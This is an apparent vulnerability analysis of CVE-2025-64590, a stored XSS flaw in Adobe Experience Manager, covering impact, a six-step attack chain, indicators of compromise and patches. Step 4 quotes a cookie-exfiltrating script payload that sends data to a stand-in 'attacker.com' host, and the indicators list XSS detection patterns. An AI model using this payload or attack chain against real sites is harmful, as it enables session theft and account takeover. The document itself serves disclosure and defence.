CVE-2025-64590: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64590 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises), AEM as a Cloud Service versions prior to 2025.12.0, and AEM 6.5 LTS. The vulnerability was published on December 9–10, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. A low-privileged, network-adjacent attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is persisted server-side and executes in the browser of any victim who subsequently visits the affected page. Exploitation requires user interaction (the victim must browse to the page containing the injected content) and low privileges on the AEM instance, but no special configuration or elevated access beyond a standard authenticated session (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. Because the payload is stored server-side, any user — including administrators — who visits the compromised page is at risk, broadening the potential blast radius. Confidentiality and integrity of the affected AEM instance are impacted, though availability is not directly affected (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service versions prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Authenticate with low-privileged account: Obtain or register a low-privileged AEM user account (e.g., a contributor or author role).
3. Locate vulnerable form fields: Navigate to AEM authoring interfaces or content forms that accept and persist user-supplied input without adequate sanitization.
4. Inject stored XSS payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator) to browse to the page containing the injected content, causing the malicious script to execute in their browser.
6. Harvest session data or perform actions: The executed script can exfiltrate session cookies, perform authenticated actions on behalf of the victim, or pivot to further compromise (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) from low-privileged user accounts.
• File System / Content Repository: Unexpected JavaScript payloads stored within AEM JCR (Java Content Repository) nodes, particularly in text or rich-text fields of authored pages.
• Network: Outbound HTTP/S requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages; unusual GET requests to attacker-controlled URLs containing Base64-encoded or URL-encoded cookie data.
• Process/Application: AEM error logs showing XSS filter bypass attempts or unusual content sanitization warnings in error.log or request.log.

Adobe has released patches addressing CVE-2025-64590 in AEM 6.5.24.0 (on-premises) and AEM as a Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary measure, restricting authoring access to trusted users and enabling AEM's built-in XSS protection filters (via the AntiSamy or OWASP Java HTML Sanitizer configurations) can reduce exposure. Review and audit existing AEM content for stored XSS payloads as part of incident response (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products that could allow arbitrary code execution, referencing the broader APSB25-115 bulletin that includes CVE-2025-64590 (CIS Advisory). Tenable added detection support via Nessus plugin 278346 shortly after disclosure (Tenable). No significant independent researcher commentary or social media discussion specific to this CVE has been identified beyond routine vulnerability tracking.